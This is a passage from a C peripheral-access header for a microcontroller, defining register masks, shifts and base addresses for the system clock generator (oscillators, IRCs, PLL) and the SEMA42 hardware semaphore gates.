#define SCG_SOSCCSR_SOSCEN(x) (((uint32_t)(((uint32_t)(x)) << SCG_SOSCCSR_SOSCEN_SHIFT)) & SCG_SOSCCSR_SOSCEN_MASK)
#define SCG_SOSCCSR_SOSCSTEN_MASK (0x2U)
#define SCG_SOSCCSR_SOSCSTEN_SHIFT (1U)
#define SCG_SOSCCSR_SOSCSTEN(x) (((uint32_t)(((uint32_t)(x)) << SCG_SOSCCSR_SOSCSTEN_SHIFT)) & SCG_SOSCCSR_SOSCSTEN_MASK)
#define SCG_SOSCCSR_SOSCLPEN_MASK (0x4U)
#define SCG_SOSCCSR_SOSCLPEN_SHIFT (2U)
#define SCG_SOSCCSR_SOSCLPEN(x) (((uint32_t)(((uint32_t)(x)) << SCG_SOSCCSR_SOSCLPEN_SHIFT)) & SCG_SOSCCSR_SOSCLPEN_MASK)
#define SCG_SOSCCSR_SOSCERCLKEN_MASK (0x8U)
#define SCG_SOSCCSR_SOSCERCLKEN_SHIFT (3U)
#define SCG_SOSCCSR_SOSCERCLKEN(x) (((uint32_t)(((uint32_t)(x)) << SCG_SOSCCSR_SOSCERCLKEN_SHIFT)) & SCG_SOSCCSR_SOSCERCLKEN_MASK)
#define SCG_SOSCCSR_SOSCCM_MASK (0x10000U)
#define SCG_SOSCCSR_SOSCCM_SHIFT (16U)
#define SCG_SOSCCSR_SOSCCM(x) (((uint32_t)(((uint32_t)(x)) << SCG_SOSCCSR_SOSCCM_SHIFT)) & SCG_SOSCCSR_SOSCCM_MASK)
#define SCG_SOSCCSR_SOSCCMRE_MASK (0x20000U)
#define SCG_SOSCCSR_SOSCCMRE_SHIFT (17U)
#define SCG_SOSCCSR_SOSCCMRE(x) (((uint32_t)(((uint32_t)(x)) << SCG_SOSCCSR_SOSCCMRE_SHIFT)) & SCG_SOSCCSR_SOSCCMRE_MASK)
#define SCG_SOSCCSR_LK_MASK (0x800000U)
#define SCG_SOSCCSR_LK_SHIFT (23U)
#define SCG_SOSCCSR_LK(x) (((uint32_t)(((uint32_t)(x)) << SCG_SOSCCSR_LK_SHIFT)) & SCG_SOSCCSR_LK_MASK)
#define SCG_SOSCCSR_SOSCVLD_MASK (0x1000000U)
#define SCG_SOSCCSR_SOSCVLD_SHIFT (24U)
#define SCG_SOSCCSR_SOSCVLD(x) (((uint32_t)(((uint32_t)(x)) << SCG_SOSCCSR_SOSCVLD_SHIFT)) & SCG_SOSCCSR_SOSCVLD_MASK)
#define SCG_SOSCCSR_SOSCSEL_MASK (0x2000000U)
#define SCG_SOSCCSR_SOSCSEL_SHIFT (25U)
#define SCG_SOSCCSR_SOSCSEL(x) (((uint32_t)(((uint32_t)(x)) << SCG_SOSCCSR_SOSCSEL_SHIFT)) & SCG_SOSCCSR_SOSCSEL_MASK)
#define SCG_SOSCCSR_SOSCERR_MASK (0x4000000U)
#define SCG_SOSCCSR_SOSCERR_SHIFT (26U)
#define SCG_SOSCCSR_SOSCERR(x) (((uint32_t)(((uint32_t)(x)) << SCG_SOSCCSR_SOSCERR_SHIFT)) & SCG_SOSCCSR_SOSCERR_MASK)
/*! @name SOSCDIV - System OSC Divide Register */
#define SCG_SOSCDIV_SOSCDIV1_MASK (0x7U)
#define SCG_SOSCDIV_SOSCDIV1_SHIFT (0U)
#define SCG_SOSCDIV_SOSCDIV1(x) (((uint32_t)(((uint32_t)(x)) << SCG_SOSCDIV_SOSCDIV1_SHIFT)) & SCG_SOSCDIV_SOSCDIV1_MASK)
#define SCG_SOSCDIV_SOSCDIV2_MASK (0x700U)
#define SCG_SOSCDIV_SOSCDIV2_SHIFT (8U)
#define SCG_SOSCDIV_SOSCDIV2(x) (((uint32_t)(((uint32_t)(x)) << SCG_SOSCDIV_SOSCDIV2_SHIFT)) & SCG_SOSCDIV_SOSCDIV2_MASK)
#define SCG_SOSCDIV_SOSCDIV3_MASK (0x70000U)
#define SCG_SOSCDIV_SOSCDIV3_SHIFT (16U)
#define SCG_SOSCDIV_SOSCDIV3(x) (((uint32_t)(((uint32_t)(x)) << SCG_SOSCDIV_SOSCDIV3_SHIFT)) & SCG_SOSCDIV_SOSCDIV3_MASK)
/*! @name SOSCCFG - System Oscillator Configuration Register */
#define SCG_SOSCCFG_EREFS_MASK (0x4U)
#define SCG_SOSCCFG_EREFS_SHIFT (2U)
#define SCG_SOSCCFG_EREFS(x) (((uint32_t)(((uint32_t)(x)) << SCG_SOSCCFG_EREFS_SHIFT)) & SCG_SOSCCFG_EREFS_MASK)
#define SCG_SOSCCFG_HGO_MASK (0x8U)
#define SCG_SOSCCFG_HGO_SHIFT (3U)
#define SCG_SOSCCFG_HGO(x) (((uint32_t)(((uint32_t)(x)) << SCG_SOSCCFG_HGO_SHIFT)) & SCG_SOSCCFG_HGO_MASK)
#define SCG_SOSCCFG_RANGE_MASK (0x30U)
#define SCG_SOSCCFG_RANGE_SHIFT (4U)
#define SCG_SOSCCFG_RANGE(x) (((uint32_t)(((uint32_t)(x)) << SCG_SOSCCFG_RANGE_SHIFT)) & SCG_SOSCCFG_RANGE_MASK)
#define SCG_SOSCCFG_SC16P_MASK (0x100U)
#define SCG_SOSCCFG_SC16P_SHIFT (8U)
#define SCG_SOSCCFG_SC16P(x) (((uint32_t)(((uint32_t)(x)) << SCG_SOSCCFG_SC16P_SHIFT)) & SCG_SOSCCFG_SC16P_MASK)
#define SCG_SOSCCFG_SC8P_MASK (0x200U)
#define SCG_SOSCCFG_SC8P_SHIFT (9U)
#define SCG_SOSCCFG_SC8P(x) (((uint32_t)(((uint32_t)(x)) << SCG_SOSCCFG_SC8P_SHIFT)) & SCG_SOSCCFG_SC8P_MASK)
#define SCG_SOSCCFG_SC4P_MASK (0x400U)
#define SCG_SOSCCFG_SC4P_SHIFT (10U)
#define SCG_SOSCCFG_SC4P(x) (((uint32_t)(((uint32_t)(x)) << SCG_SOSCCFG_SC4P_SHIFT)) & SCG_SOSCCFG_SC4P_MASK)
#define SCG_SOSCCFG_SC2P_MASK (0x800U)
#define SCG_SOSCCFG_SC2P_SHIFT (11U)
#define SCG_SOSCCFG_SC2P(x) (((uint32_t)(((uint32_t)(x)) << SCG_SOSCCFG_SC2P_SHIFT)) & SCG_SOSCCFG_SC2P_MASK)
/*! @name SIRCCSR - Slow IRC Control Status Register */
#define SCG_SIRCCSR_SIRCEN_MASK (0x1U)
#define SCG_SIRCCSR_SIRCEN_SHIFT (0U)
#define SCG_SIRCCSR_SIRCEN(x) (((uint32_t)(((uint32_t)(x)) << SCG_SIRCCSR_SIRCEN_SHIFT)) & SCG_SIRCCSR_SIRCEN_MASK)
#define SCG_SIRCCSR_SIRCSTEN_MASK (0x2U)
#define SCG_SIRCCSR_SIRCSTEN_SHIFT (1U)
#define SCG_SIRCCSR_SIRCSTEN(x) (((uint32_t)(((uint32_t)(x)) << SCG_SIRCCSR_SIRCSTEN_SHIFT)) & SCG_SIRCCSR_SIRCSTEN_MASK)
#define SCG_SIRCCSR_SIRCLPEN_MASK (0x4U)
#define SCG_SIRCCSR_SIRCLPEN_SHIFT (2U)
#define SCG_SIRCCSR_SIRCLPEN(x) (((uint32_t)(((uint32_t)(x)) << SCG_SIRCCSR_SIRCLPEN_SHIFT)) & SCG_SIRCCSR_SIRCLPEN_MASK)
#define SCG_SIRCCSR_LK_MASK (0x800000U)
#define SCG_SIRCCSR_LK_SHIFT (23U)
#define SCG_SIRCCSR_LK(x) (((uint32_t)(((uint32_t)(x)) << SCG_SIRCCSR_LK_SHIFT)) & SCG_SIRCCSR_LK_MASK)
#define SCG_SIRCCSR_SIRCVLD_MASK (0x1000000U)
#define SCG_SIRCCSR_SIRCVLD_SHIFT (24U)
#define SCG_SIRCCSR_SIRCVLD(x) (((uint32_t)(((uint32_t)(x)) << SCG_SIRCCSR_SIRCVLD_SHIFT)) & SCG_SIRCCSR_SIRCVLD_MASK)
#define SCG_SIRCCSR_SIRCSEL_MASK (0x2000000U)
#define SCG_SIRCCSR_SIRCSEL_SHIFT (25U)
#define SCG_SIRCCSR_SIRCSEL(x) (((uint32_t)(((uint32_t)(x)) << SCG_SIRCCSR_SIRCSEL_SHIFT)) & SCG_SIRCCSR_SIRCSEL_MASK)
/*! @name SIRCDIV - Slow IRC Divide Register */
#define SCG_SIRCDIV_SIRCDIV1_MASK (0x7U)
#define SCG_SIRCDIV_SIRCDIV1_SHIFT (0U)
#define SCG_SIRCDIV_SIRCDIV1(x) (((uint32_t)(((uint32_t)(x)) << SCG_SIRCDIV_SIRCDIV1_SHIFT)) & SCG_SIRCDIV_SIRCDIV1_MASK)
#define SCG_SIRCDIV_SIRCDIV2_MASK (0x700U)
#define SCG_SIRCDIV_SIRCDIV2_SHIFT (8U)
#define SCG_SIRCDIV_SIRCDIV2(x) (((uint32_t)(((uint32_t)(x)) << SCG_SIRCDIV_SIRCDIV2_SHIFT)) & SCG_SIRCDIV_SIRCDIV2_MASK)
#define SCG_SIRCDIV_SIRCDIV3_MASK (0x70000U)
#define SCG_SIRCDIV_SIRCDIV3_SHIFT (16U)
#define SCG_SIRCDIV_SIRCDIV3(x) (((uint32_t)(((uint32_t)(x)) << SCG_SIRCDIV_SIRCDIV3_SHIFT)) & SCG_SIRCDIV_SIRCDIV3_MASK)
/*! @name SIRCCFG - Slow IRC Configuration Register */
#define SCG_SIRCCFG_RANGE_MASK (0x1U)
#define SCG_SIRCCFG_RANGE_SHIFT (0U)
#define SCG_SIRCCFG_RANGE(x) (((uint32_t)(((uint32_t)(x)) << SCG_SIRCCFG_RANGE_SHIFT)) & SCG_SIRCCFG_RANGE_MASK)
/*! @name FIRCCSR - Fast IRC Control Status Register */
#define SCG_FIRCCSR_FIRCEN_MASK (0x1U)
#define SCG_FIRCCSR_FIRCEN_SHIFT (0U)
#define SCG_FIRCCSR_FIRCEN(x) (((uint32_t)(((uint32_t)(x)) << SCG_FIRCCSR_FIRCEN_SHIFT)) & SCG_FIRCCSR_FIRCEN_MASK)
#define SCG_FIRCCSR_FIRCSTEN_MASK (0x2U)
#define SCG_FIRCCSR_FIRCSTEN_SHIFT (1U)
#define SCG_FIRCCSR_FIRCSTEN(x) (((uint32_t)(((uint32_t)(x)) << SCG_FIRCCSR_FIRCSTEN_SHIFT)) & SCG_FIRCCSR_FIRCSTEN_MASK)
#define SCG_FIRCCSR_FIRCLPEN_MASK (0x4U)
#define SCG_FIRCCSR_FIRCLPEN_SHIFT (2U)
#define SCG_FIRCCSR_FIRCLPEN(x) (((uint32_t)(((uint32_t)(x)) << SCG_FIRCCSR_FIRCLPEN_SHIFT)) & SCG_FIRCCSR_FIRCLPEN_MASK)
#define SCG_FIRCCSR_FIRCREGOFF_MASK (0x8U)
#define SCG_FIRCCSR_FIRCREGOFF_SHIFT (3U)
#define SCG_FIRCCSR_FIRCREGOFF(x) (((uint32_t)(((uint32_t)(x)) << SCG_FIRCCSR_FIRCREGOFF_SHIFT)) & SCG_FIRCCSR_FIRCREGOFF_MASK)
#define SCG_FIRCCSR_FIRCTREN_MASK (0x100U)
#define SCG_FIRCCSR_FIRCTREN_SHIFT (8U)
#define SCG_FIRCCSR_FIRCTREN(x) (((uint32_t)(((uint32_t)(x)) << SCG_FIRCCSR_FIRCTREN_SHIFT)) & SCG_FIRCCSR_FIRCTREN_MASK)
#define SCG_FIRCCSR_FIRCTRUP_MASK (0x200U)
#define SCG_FIRCCSR_FIRCTRUP_SHIFT (9U)
#define SCG_FIRCCSR_FIRCTRUP(x) (((uint32_t)(((uint32_t)(x)) << SCG_FIRCCSR_FIRCTRUP_SHIFT)) & SCG_FIRCCSR_FIRCTRUP_MASK)
#define SCG_FIRCCSR_LK_MASK (0x800000U)
#define SCG_FIRCCSR_LK_SHIFT (23U)
#define SCG_FIRCCSR_LK(x) (((uint32_t)(((uint32_t)(x)) << SCG_FIRCCSR_LK_SHIFT)) & SCG_FIRCCSR_LK_MASK)
#define SCG_FIRCCSR_FIRCVLD_MASK (0x1000000U)
#define SCG_FIRCCSR_FIRCVLD_SHIFT (24U)
#define SCG_FIRCCSR_FIRCVLD(x) (((uint32_t)(((uint32_t)(x)) << SCG_FIRCCSR_FIRCVLD_SHIFT)) & SCG_FIRCCSR_FIRCVLD_MASK)
#define SCG_FIRCCSR_FIRCSEL_MASK (0x2000000U)
#define SCG_FIRCCSR_FIRCSEL_SHIFT (25U)
#define SCG_FIRCCSR_FIRCSEL(x) (((uint32_t)(((uint32_t)(x)) << SCG_FIRCCSR_FIRCSEL_SHIFT)) & SCG_FIRCCSR_FIRCSEL_MASK)
#define SCG_FIRCCSR_FIRCERR_MASK (0x4000000U)
#define SCG_FIRCCSR_FIRCERR_SHIFT (26U)
#define SCG_FIRCCSR_FIRCERR(x) (((uint32_t)(((uint32_t)(x)) << SCG_FIRCCSR_FIRCERR_SHIFT)) & SCG_FIRCCSR_FIRCERR_MASK)
/*! @name FIRCDIV - Fast IRC Divide Register */
#define SCG_FIRCDIV_FIRCDIV1_MASK (0x7U)
#define SCG_FIRCDIV_FIRCDIV1_SHIFT (0U)
#define SCG_FIRCDIV_FIRCDIV1(x) (((uint32_t)(((uint32_t)(x)) << SCG_FIRCDIV_FIRCDIV1_SHIFT)) & SCG_FIRCDIV_FIRCDIV1_MASK)
#define SCG_FIRCDIV_FIRCDIV2_MASK (0x700U)
#define SCG_FIRCDIV_FIRCDIV2_SHIFT (8U)
#define SCG_FIRCDIV_FIRCDIV2(x) (((uint32_t)(((uint32_t)(x)) << SCG_FIRCDIV_FIRCDIV2_SHIFT)) & SCG_FIRCDIV_FIRCDIV2_MASK)
#define SCG_FIRCDIV_FIRCDIV3_MASK (0x70000U)
#define SCG_FIRCDIV_FIRCDIV3_SHIFT (16U)
#define SCG_FIRCDIV_FIRCDIV3(x) (((uint32_t)(((uint32_t)(x)) << SCG_FIRCDIV_FIRCDIV3_SHIFT)) & SCG_FIRCDIV_FIRCDIV3_MASK)
/*! @name FIRCCFG - Fast IRC Configuration Register */
#define SCG_FIRCCFG_RANGE_MASK (0x3U)
#define SCG_FIRCCFG_RANGE_SHIFT (0U)
#define SCG_FIRCCFG_RANGE(x) (((uint32_t)(((uint32_t)(x)) << SCG_FIRCCFG_RANGE_SHIFT)) & SCG_FIRCCFG_RANGE_MASK)
/*! @name FIRCTCFG - Fast IRC Trim Configuration Register */
#define SCG_FIRCTCFG_TRIMSRC_MASK (0x3U)
#define SCG_FIRCTCFG_TRIMSRC_SHIFT (0U)
#define SCG_FIRCTCFG_TRIMSRC(x) (((uint32_t)(((uint32_t)(x)) << SCG_FIRCTCFG_TRIMSRC_SHIFT)) & SCG_FIRCTCFG_TRIMSRC_MASK)
#define SCG_FIRCTCFG_TRIMDIV_MASK (0x700U)
#define SCG_FIRCTCFG_TRIMDIV_SHIFT (8U)
#define SCG_FIRCTCFG_TRIMDIV(x) (((uint32_t)(((uint32_t)(x)) << SCG_FIRCTCFG_TRIMDIV_SHIFT)) & SCG_FIRCTCFG_TRIMDIV_MASK)
/*! @name FIRCSTAT - Fast IRC Status Register */
#define SCG_FIRCSTAT_TRIMFINE_MASK (0x7FU)
#define SCG_FIRCSTAT_TRIMFINE_SHIFT (0U)
#define SCG_FIRCSTAT_TRIMFINE(x) (((uint32_t)(((uint32_t)(x)) << SCG_FIRCSTAT_TRIMFINE_SHIFT)) & SCG_FIRCSTAT_TRIMFINE_MASK)
#define SCG_FIRCSTAT_TRIMCOAR_MASK (0x3F00U)
#define SCG_FIRCSTAT_TRIMCOAR_SHIFT (8U)
#define SCG_FIRCSTAT_TRIMCOAR(x) (((uint32_t)(((uint32_t)(x)) << SCG_FIRCSTAT_TRIMCOAR_SHIFT)) & SCG_FIRCSTAT_TRIMCOAR_MASK)
/*! @name SPLLCSR - System PLL Control Status Register */
#define SCG_SPLLCSR_SPLLEN_MASK (0x1U)
#define SCG_SPLLCSR_SPLLEN_SHIFT (0U)
#define SCG_SPLLCSR_SPLLEN(x) (((uint32_t)(((uint32_t)(x)) << SCG_SPLLCSR_SPLLEN_SHIFT)) & SCG_SPLLCSR_SPLLEN_MASK)
#define SCG_SPLLCSR_SPLLSTEN_MASK (0x2U)
#define SCG_SPLLCSR_SPLLSTEN_SHIFT (1U)
#define SCG_SPLLCSR_SPLLSTEN(x) (((uint32_t)(((uint32_t)(x)) << SCG_SPLLCSR_SPLLSTEN_SHIFT)) & SCG_SPLLCSR_SPLLSTEN_MASK)
#define SCG_SPLLCSR_SPLLCM_MASK (0x10000U)
#define SCG_SPLLCSR_SPLLCM_SHIFT (16U)
#define SCG_SPLLCSR_SPLLCM(x) (((uint32_t)(((uint32_t)(x)) << SCG_SPLLCSR_SPLLCM_SHIFT)) & SCG_SPLLCSR_SPLLCM_MASK)
#define SCG_SPLLCSR_SPLLCMRE_MASK (0x20000U)
#define SCG_SPLLCSR_SPLLCMRE_SHIFT (17U)
#define SCG_SPLLCSR_SPLLCMRE(x) (((uint32_t)(((uint32_t)(x)) << SCG_SPLLCSR_SPLLCMRE_SHIFT)) & SCG_SPLLCSR_SPLLCMRE_MASK)
#define SCG_SPLLCSR_LK_MASK (0x800000U)
#define SCG_SPLLCSR_LK_SHIFT (23U)
#define SCG_SPLLCSR_LK(x) (((uint32_t)(((uint32_t)(x)) << SCG_SPLLCSR_LK_SHIFT)) & SCG_SPLLCSR_LK_MASK)
#define SCG_SPLLCSR_SPLLVLD_MASK (0x1000000U)
#define SCG_SPLLCSR_SPLLVLD_SHIFT (24U)
#define SCG_SPLLCSR_SPLLVLD(x) (((uint32_t)(((uint32_t)(x)) << SCG_SPLLCSR_SPLLVLD_SHIFT)) & SCG_SPLLCSR_SPLLVLD_MASK)
#define SCG_SPLLCSR_SPLLSEL_MASK (0x2000000U)
#define SCG_SPLLCSR_SPLLSEL_SHIFT (25U)
#define SCG_SPLLCSR_SPLLSEL(x) (((uint32_t)(((uint32_t)(x)) << SCG_SPLLCSR_SPLLSEL_SHIFT)) & SCG_SPLLCSR_SPLLSEL_MASK)
#define SCG_SPLLCSR_SPLLERR_MASK (0x4000000U)
#define SCG_SPLLCSR_SPLLERR_SHIFT (26U)
#define SCG_SPLLCSR_SPLLERR(x) (((uint32_t)(((uint32_t)(x)) << SCG_SPLLCSR_SPLLERR_SHIFT)) & SCG_SPLLCSR_SPLLERR_MASK)
/*! @name SPLLDIV - System PLL Divide Register */
#define SCG_SPLLDIV_SPLLDIV1_MASK (0x7U)
#define SCG_SPLLDIV_SPLLDIV1_SHIFT (0U)
#define SCG_SPLLDIV_SPLLDIV1(x) (((uint32_t)(((uint32_t)(x)) << SCG_SPLLDIV_SPLLDIV1_SHIFT)) & SCG_SPLLDIV_SPLLDIV1_MASK)
#define SCG_SPLLDIV_SPLLDIV2_MASK (0x700U)
#define SCG_SPLLDIV_SPLLDIV2_SHIFT (8U)
#define SCG_SPLLDIV_SPLLDIV2(x) (((uint32_t)(((uint32_t)(x)) << SCG_SPLLDIV_SPLLDIV2_SHIFT)) & SCG_SPLLDIV_SPLLDIV2_MASK)
#define SCG_SPLLDIV_SPLLDIV3_MASK (0x70000U)
#define SCG_SPLLDIV_SPLLDIV3_SHIFT (16U)
#define SCG_SPLLDIV_SPLLDIV3(x) (((uint32_t)(((uint32_t)(x)) << SCG_SPLLDIV_SPLLDIV3_SHIFT)) & SCG_SPLLDIV_SPLLDIV3_MASK)
/*! @name SPLLCFG - System PLL Configuration Register */
#define SCG_SPLLCFG_SOURCE_MASK (0x1U)
#define SCG_SPLLCFG_SOURCE_SHIFT (0U)
#define SCG_SPLLCFG_SOURCE(x) (((uint32_t)(((uint32_t)(x)) << SCG_SPLLCFG_SOURCE_SHIFT)) & SCG_SPLLCFG_SOURCE_MASK)
#define SCG_SPLLCFG_PREDIV_MASK (0x700U)
#define SCG_SPLLCFG_PREDIV_SHIFT (8U)
#define SCG_SPLLCFG_PREDIV(x) (((uint32_t)(((uint32_t)(x)) << SCG_SPLLCFG_PREDIV_SHIFT)) & SCG_SPLLCFG_PREDIV_MASK)
#define SCG_SPLLCFG_MULT_MASK (0x1F0000U)
#define SCG_SPLLCFG_MULT_SHIFT (16U)
#define SCG_SPLLCFG_MULT(x) (((uint32_t)(((uint32_t)(x)) << SCG_SPLLCFG_MULT_SHIFT)) & SCG_SPLLCFG_MULT_MASK)
/*!
* @}
*/ /* end of group SCG_Register_Masks */
/* SCG - Peripheral instance base addresses */
/** Peripheral SCG base address */
#define SCG_BASE (0x4007B000u)
/** Peripheral SCG base pointer */
#define SCG ((SCG_Type *)SCG_BASE)
/** Array initializer of SCG peripheral base addresses */
#define SCG_BASE_ADDRS { SCG_BASE }
/** Array initializer of SCG peripheral base pointers */
#define SCG_BASE_PTRS { SCG }
/** Interrupt vectors for the SCG peripheral type */
#define SCG_IRQS { SCG_IRQn }
/*!
* @}
*/ /* end of group SCG_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- SEMA42 Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup SEMA42_Peripheral_Access_Layer SEMA42 Peripheral Access Layer
* @{
*/
/** SEMA42 - Register Layout Typedef */
typedef struct {
__IO uint8_t GATE3; /**< Gate Register, offset: 0x0 */
__IO uint8_t GATE2; /**< Gate Register, offset: 0x1 */
__IO uint8_t GATE1; /**< Gate Register, offset: 0x2 */
__IO uint8_t GATE0; /**< Gate Register, offset: 0x3 */
__IO uint8_t GATE7; /**< Gate Register, offset: 0x4 */
__IO uint8_t GATE6; /**< Gate Register, offset: 0x5 */
__IO uint8_t GATE5; /**< Gate Register, offset: 0x6 */
__IO uint8_t GATE4; /**< Gate Register, offset: 0x7 */
__IO uint8_t GATE11; /**< Gate Register, offset: 0x8 */
__IO uint8_t GATE10; /**< Gate Register, offset: 0x9 */
__IO uint8_t GATE9; /**< Gate Register, offset: 0xA */
__IO uint8_t GATE8; /**< Gate Register, offset: 0xB */
__IO uint8_t GATE15; /**< Gate Register, offset: 0xC */
__IO uint8_t GATE14; /**< Gate Register, offset: 0xD */
__IO uint8_t GATE13; /**< Gate Register, offset: 0xE */
__IO uint8_t GATE12; /**< Gate Register, offset: 0xF */
uint8_t RESERVED_0[50];
union { /* offset: 0x42 */
__I uint16_t RSTGT_R; /**< Reset Gate Read, offset: 0x42 */
__O uint16_t RSTGT_W; /**< Reset Gate Write, offset: 0x42 */
};
} SEMA42_Type;
/* ----------------------------------------------------------------------------
-- SEMA42 Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup SEMA42_Register_Masks SEMA42 Register Masks
* @{
*/
/*! @name GATE3 - Gate Register */
#define SEMA42_GATE3_GTFSM_MASK (0xFU)
#define SEMA42_GATE3_GTFSM_SHIFT (0U)
#define SEMA42_GATE3_GTFSM(x) (((uint8_t)(((uint8_t)(x)) << SEMA42_GATE3_GTFSM_SHIFT)) & SEMA42_GATE3_GTFSM_MASK)
/*! @name GATE2 - Gate Register */
#define SEMA42_GATE2_GTFSM_MASK (0xFU)
#define SEMA42_GATE2_GTFSM_SHIFT (0U)
#define SEMA42_GATE2_GTFSM(x) (((uint8_t)(((uint8_t)(x)) << SEMA42_GATE2_GTFSM_SHIFT)) & SEMA42_GATE2_GTFSM_MASK)
/*! @name GATE1 - Gate Register */
#define SEMA42_GATE1_GTFSM_MASK (0xFU)
#define SEMA42_GATE1_GTFSM_SHIFT (0U)
#define SEMA42_GATE1_GTFSM(x) (((uint8_t)(((uint8_t)(x)) << SEMA42_GATE1_GTFSM_SHIFT)) & SEMA42_GATE1_GTFSM_MASK)
/*! @name GATE0 - Gate Register */
#define SEMA42_GATE0_GTFSM_MASK (0xFU)
#define SEMA42_GATE0_GTFSM_SHIFT (0U)
#define SEMA42_GATE0_GTFSM(x) (((uint8_t)(((uint8_t)(x)) << SEMA42_GATE0_GTFSM_SHIFT)) & SEMA42_GATE0_GTFSM_MASK)
/*! @name GATE7 - Gate Register */
#define SEMA42_GATE7_GTFSM_MASK (0xFU)
#define SEMA42_GATE7_GTFSM_SHIFT (0U)
#define SEMA42_GATE7_GTFSM(x) (((uint8_t)(((uint8_t)(x)) << SEMA42_GATE7_GTFSM_SHIFT)) & SEMA42_GATE7_GTFSM_MASK)
/*! @name GATE6 - Gate Register */
#define SEMA42_GATE6_GTFSM_MASK (0xFU)
#define SEMA42_GATE6_GTFSM_SHIFT (0U)
#define SEMA42_GATE6_GTFSM(x) (((uint8_t)(((uint8_t)(x)) << SEMA42_GATE6_GTFSM_SHIFT)) & SEMA42_GATE6_GTFSM_MASK)
/*! @name GATE5 - Gate Register */
#define SEMA42_GATE5_GTFSM_MASK (0xFU)
#define SEMA42_GATE5_GTFSM_SHIFT (0U)
#define SEMA42_GATE5_GTFSM(x) (((uint8_t)(((uint8_t)(x)) << SEMA42_GATE5_GTFSM_SHIFT)) & SEMA42_GATE5_GTFSM_MASK)
/*! @name GATE4 - Gate Register */
#define SEMA42_GATE4_GTFSM_MASK (0xFU)
#define SEMA42_GATE4_GTFSM_SHIFT (0U)
#define SEMA42_GATE4_GTFSM(x) (((uint8_t)(((uint8_t)(x)) << SEMA42_GATE4_GTFSM_SHIFT)) & SEMA42_GATE4_GTFSM_MASK)
/*! @name GATE11 - Gate Register */
#define SEMA42_GATE11_GTFSM_MASK (0xFU)
#define SEMA42_GATE11_GTFSM_SHIFT (0U)
#define SEMA42_GATE11_GTFSM(x) (((uint8_t)(((uint8_t)(x)) << SEMA42_GATE11_GTFSM_SHIFT)) & SEMA42_GATE11_GTFSM_MASK)
/*! @name GATE10 - Gate Register */
#define SEMA42_GATE10_GTFSM_MASK (0xFU)
#define SEMA42_GATE10_GTFSM_SHIFT (0U)
#define SEMA42_GATE10_GTFSM(x) (((uint8_t)(((uint8_t)(x)) << SEMA42_GATE10_GTFSM_SHIFT)) & SEMA42_GATE10_GTFSM_MASK)
/*! @name GATE9 - Gate Register */
#define SEMA42_GATE9_GTFSM_MASK (0xFU)
#define SEMA42_GATE9_GTFSM_SHIFT (0U)
#define SEMA42_GATE9_GTFSM(x) (((uint8_t)(((uint8_t)(x)) << SEMA42_GATE9_GTFSM_SHIFT)) & SEMA42_GATE9_GTFSM_MASK)
/*! @name GATE8 - Gate Register */
#define SEMA42_GATE8_GTFSM_MASK (0xFU)
#define SEMA42_GATE8_GTFSM_SHIFT (0U)
#define SEMA42_GATE8_GTFSM(x) (((uint8_t)(((uint8_t)(x)) << SEMA42_GATE8_GTFSM_SHIFT)) & SEMA42_GATE8_GTFSM_MASK)
/*! @name GATE15 - Gate Register */
#define SEMA42_GATE15_GTFSM_MASK (0xFU)
#define SEMA42_GATE15_GTFSM_SHIFT (0U)
#define SEMA42_GATE15_GTFSM(x) (((uint8_t)(((uint8_t)(x)) << SEMA42_GATE15_GTFSM_SHIFT)) & SEMA42_GATE15_GTFSM_MASK)
/*! @name GATE14 - Gate Register */
#define SEMA42_GATE14_GTFSM_MASK (0xFU)
#define SEMA42_GATE14_GTFSM_SHIFT (0U)
#define SEMA42_GATE14_GTFSM(x) (((uint8_t)(((uint8_t)(x)) << SEMA42_GATE14_GTFSM_SHIFT)) & SEMA42_GATE14_GTFSM_MASK)
/*! @name GATE13 - Gate Register */
#define SEMA42_GATE13_GTFSM_MASK (0xFU)
#define SEMA42_GATE13_GTFSM_SHIFT (0U)
#define SEMA42_GATE13_GTFSM(x) (((uint8_t)(((uint8_t)(x)) << SEMA42_GATE13_GTFSM_SHIFT)) & SEMA42_GATE13_GTFSM_MASK)
/*! @name GATE12 - Gate Register */
#define SEMA42_GATE12_GTFSM_MASK (0xFU)
#define SEMA42_GATE12_GTFSM_SHIFT (0U)
#define SEMA42_GATE12_GTFSM(x) (((uint8_t)(((uint8_t)(x)) << SEMA42_GATE12_GTFSM_SHIFT)) & SEMA42_GATE12_GTFSM_MASK)
/*! @name RSTGT_R - Reset Gate Read */
#define SEMA42_RSTGT_R_RSTGTN_MASK (0xFFU)
#define SEMA42_RSTGT_R_RSTGTN_SHIFT (0U)
#define SEMA42_RSTGT_R_RSTGTN(x) (((uint16_t)(((uint16_t)(x)) << SEMA42_RSTGT_R_RSTGTN_SHIFT)) & SEMA42_RSTGT_R_RSTGTN_MASK)
#define SEMA42_RSTGT_R_RSTGMS_MASK (0xF00U)
#define SEMA42_RSTGT_R_RSTGMS_SHIFT (8U)
#define SEMA42_RSTGT_R_RSTGMS(x) (((uint16_t)(((uint16_t)(x)) << SEMA42_RSTGT_R_RSTGMS_SHIFT)) & SEMA42_RSTGT_R_RSTGMS_MASK)
#define SEMA42_RSTGT_R_RSTGSM_MASK (0x3000U)
#define SEMA42_RSTGT_R_RSTGSM_SHIFT (12U)
#define SEMA42_RSTGT_R_RSTGSM(x) (((uint16_t)(((uint16_t)(x)) << SEMA42_RSTGT_R_RSTGSM_SHIFT)) & SEMA42_RSTGT_R_RSTGSM_MASK)
#define SEMA42_RSTGT_R_ROZ_MASK (0xC000U)
#define SEMA42_RSTGT_R_ROZ_SHIFT (14U)
#define SEMA42_RSTGT_R_ROZ(x) (((uint16_t)(((uint16_t)(x)) << SEMA42_RSTGT_R_ROZ_SHIFT)) & SEMA42_RSTGT_R_ROZ_MASK)
/*! @name RSTGT_W - Reset Gate Write */
#define SEMA42_RSTGT_W_RSTGTN_MASK (0xFFU)
#define SEMA42_RSTGT_W_RSTGTN_SHIFT (0U)
#define SEMA42_RSTGT_W_RSTGTN(x) (((uint16_t)(((uint16_t)(x)) << SEMA42_RSTGT_W_RSTGTN_SHIFT)) & SEMA42_RSTGT_W_RSTGTN_MASK)
#define SEMA42_RSTGT_W_RSTGDP_MASK (0xFF00U)
#define SEMA42_RSTGT_W_RSTGDP_SHIFT (8U)
